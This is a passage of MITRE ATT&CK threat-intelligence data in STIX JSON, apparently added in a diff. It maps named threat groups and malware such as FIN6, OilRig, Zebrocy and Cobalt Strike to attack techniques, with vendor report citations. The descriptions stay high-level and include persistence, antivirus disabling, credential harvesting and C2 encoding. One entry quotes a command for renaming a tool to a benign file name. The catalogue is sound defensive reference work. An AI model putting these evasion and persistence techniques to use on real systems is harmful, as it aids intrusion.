"type": "relationship", + "created": "2019-01-30T15:38:21.244Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ec037573-058a-43d5-a76e-bd76e99953dd", + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "modified": "2019-01-30T15:38:21.244Z", + "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) can capture a screenshot from a victim.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ed522c9c-038b-43c0-af66-e81b954104f2", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2018-10-17T00:14:20.652Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3680408d-e56e-4d68-a74d-2678093ed53f", + "source_ref": "intrusion-set--9559ecaf-2e75-48a7-aee8-9974020bc772", + "relationship_type": "revoked-by", + "target_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used Registry Run keys to establish persistence for its downloader tools known as HARDTACK and SHIPBREAD.", + "type": "relationship", + "created": "2017-05-31T21:33:27.071Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4b45b720-a606-4c52-a28a-2ef298f9b42f", + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + } + ], + "modified": "2019-06-28T14:59:17.708Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) encodes many of its artifacts and is encrypted (AES-128) when downloaded. ", + "type": "relationship", + "created": "2019-01-30T16:39:54.479Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ff950ea2-2982-4bfd-8361-7755e83778fd", + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "modified": "2019-06-10T18:25:51.594Z", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) uses [dsquery](https://attack.mitre.org/software/S0105) and other Active Directory utilities to enumerate hosts.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ee46b157-d368-42e4-98f6-b76f6e65c9bd", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "modified": "2019-03-22T20:21:57.723Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that leveraged rundll32.exe in a Registry Run key to execute a .dll.", + "type": "relationship", + "created": "2019-01-30T17:33:40.878Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ea11624f-1025-46a9-820b-0b87866f534d", + "external_references": [ + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + } + ], + "modified": "2019-06-28T15:30:58.707Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) attempts to avoid detection by checking a first stage command and control server to determine if it should connect to the second stage server, which performs \"louder\" interactions with the malware.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a6962782-1942-42f5-a627-f205376e2ec2", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "relationship_type": "uses", + "target_ref": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following command to rename one of their tools to a benign file name: ren \"%temp%\\upload\" audiodg.exe", + "type": "relationship", + "created": "2017-05-31T21:33:27.052Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4da943df-a7dc-499f-a8b7-ca8d298d8ff6", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "modified": "2019-03-25T17:15:58.113Z", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has delivered malicious links and macro-enabled documents that required targets to click the \"enable content\" button to execute the payload on the system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--557d3feb-0699-429e-bc83-ff114cf138ef", + "external_references": [ + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + }, + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + }, + { + "source_name": "Crowdstrike Helix Kitten Nov 2018", + "description": "Meyers, A. (2018, November 27). Meet CrowdStrike\u2019s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/" + } + ], + "modified": "2019-07-17T16:17:30.189Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) has disabled anti-virus and anti-spyware tools in some instances on the victim\u2019s machines. The actors have also disabled proxy settings to allow direct communication from victims to the Internet.[", + "type": "relationship", + "created": "2019-01-30T18:02:59.190Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7c5c4ef2-2e0b-4c83-ae98-8f0f40cb6d3c", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "modified": "2019-03-25T14:36:29.845Z", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[cmd](https://attack.mitre.org/software/S0106) can be used to delete files from the file system.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d7d3cf5c-e541-4639-95c6-8cdea60b084d", + "external_references": [ + { + "source_name": "TechNet Del", + "description": "Microsoft. (n.d.). Del. Retrieved April 22, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc771049.aspx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses an encryption method similar to RC4 as well as AES to encrypt data before exfiltration.", + "type": "relationship", + "created": "2019-01-30T18:39:48.410Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--960accee-d5ea-4570-8697-84ada0cc266a", + "external_references": [ + { + "source_name": "Securelist Sofacy Feb 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" + }, + { + "source_name": "ESET Zebrocy Nov 2018", + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + } + ], + "modified": "2019-07-17T01:18:32.651Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Exfiltration modules that can harvest credentials from Group Policy Preferences, Windows vault credential objects, or using [Mimikatz](https://attack.mitre.org/software/S0002).", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3837e91f-47d5-4b30-b11b-76a91450c4ef", + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "modified": "2019-04-24T23:43:08.124Z", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) can gather the IP address from the victim's machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9c4bbad5-4821-4059-b881-557c2a6db1a0", + "external_references": [ + { + "source_name": "Symantec Volgmer Aug 2014", + "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Epic](https://attack.mitre.org/software/S0091) uses HTTP and HTTPS for C2 communications.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--062b1f19-2afb-4bdc-908e-99594ff114cf", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "source_name": "Kaspersky Turla Aug 2014", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf" + } + ], + "modified": "2019-07-26T16:10:42.917Z", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) can collect the current timestamp of the victim's machine.", + "type": "relationship", + "created": "2019-01-30T19:50:46.733Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4d9b9464-1ade-45e9-9d7b-1c4c967abd81", + "external_references": [ + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + } + ], + "modified": "2019-01-31T00:38:09.392Z", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "relationship_type": "uses", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can exploit vulnerabilities such as MS14-058.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b942cd55-6fed-49a1-ba05-af23836b518f", + "external_references": [ + { + "source_name": "Cobalt Strike TTPs Dec 2017", + "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", + "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf" + } + ], + "modified": "2019-06-06T19:04:39.421Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) can download additional components from the C2 server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--47880b58-f0e2-4898-a218-6df6333329ed", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) has a command to edit the Registry on the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--53e09f15-3162-4480-8eb4-709e9c18d7fb", + "external_references": [ + { + "source_name": "GitHub QuasarRAT", + "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.", + "url": "https://github.com/quasar/QuasarRAT" + } + ], + "modified": "2019-06-24T19:05:41.560Z", + "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) copied all targeted files to a directory called index that was eventually uploaded to the C&C server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--40082714-cb19-482f-9b6d-22031ef39926", + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2019-07-11T13:53:05.945Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Malware used by [Group5](https://attack.mitre.org/groups/G0043) is capable of capturing keystrokes.", + "type": "relationship", + "created": "2017-05-31T21:33:27.078Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8447c89e-a743-430e-8ef5-41abfcde1a01", + "external_references": [ + { + "source_name": "Citizen Lab Group5", + "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.", + "url": "https://citizenlab.ca/2016/08/group5-syria/" + } + ], + "modified": "2019-07-25T17:52:06.573Z", + "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NDiskMonitor](https://attack.mitre.org/software/S0272) can obtain a list of all files and directories as well as logical drives.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b7226792-d4ae-472c-a407-853d56fc887d", + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--d1183cb9-258e-4f2f-8415-50ac8252c49e", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[T9000](https://attack.mitre.org/software/S0098) uses the Skype API to record audio and video calls. It writes encrypted data to %APPDATA%\\Intel\\Skype.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e5a2a20c-1ef7-49a9-a9fa-2b89231793b8", + "external_references": [ + { + "source_name": "Palo Alto T9000 Feb 2016", + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "relationship_type": "uses", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can create a new Registry key under HKEY_CURRENT_USER\\Software\\Classes\\.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f88fcb22-698b-4901-b894-a597192c2ba3", + "external_references": [ + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + } + ], + "modified": "2019-07-14T21:15:55.223Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Janicab](https://attack.mitre.org/software/S0163) used a valid AppleDeveloperID to sign the code to get past security restrictions.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fb3b8f32-0991-4d05-a80d-a4736372ad2a", + "external_references": [ + { + "source_name": "Janicab", + "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.", + "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--234e7770-99b0-4f65-b983-d3230f76a60b", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) encodes data in hexadecimal format over the C2 channel.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--578a4fd8-7c24-44b2-a7c3-1a47786d3c9a", + "external_references": [ + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + } + ], + "modified": "2019-04-24T23:40:23.452Z", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "relationship_type": "uses", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Comnie](https://attack.mitre.org/software/S0244) uses Rundll32 to load a malicious DLL.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c07df1c1-3ae1-4974-af37-9c1b04cef14a", + "external_references": [ + { + "source_name": "Palo Alto Comnie", + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RawPOS](https://attack.mitre.org/software/S0169) installs itself as a service to maintain persistence.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d0b2e189-e764-44ec-9373-2f23212f6a45", + "external_references": [ + { + "source_name": "Kroll RawPOS Jan 2017", + "description": "Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder\u2019s Toolkit. Retrieved October 4, 2017.", + "url": "http://www.kroll.com/CMSPages/GetAzureFile.aspx?path=~%5Cmedia%5Cfiles%5Cintelligence-center%5Ckroll_malware-analysis-report.pdf&hash=d5b5d2697118f30374b954f28a08c0ba69836c0ffd99566aa7ec62d1fc72b105" + }, + { + "source_name": "TrendMicro RawPOS April 2015", + "description": "TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017.", + "url": "http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf" + }, + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) has the capability to collect the 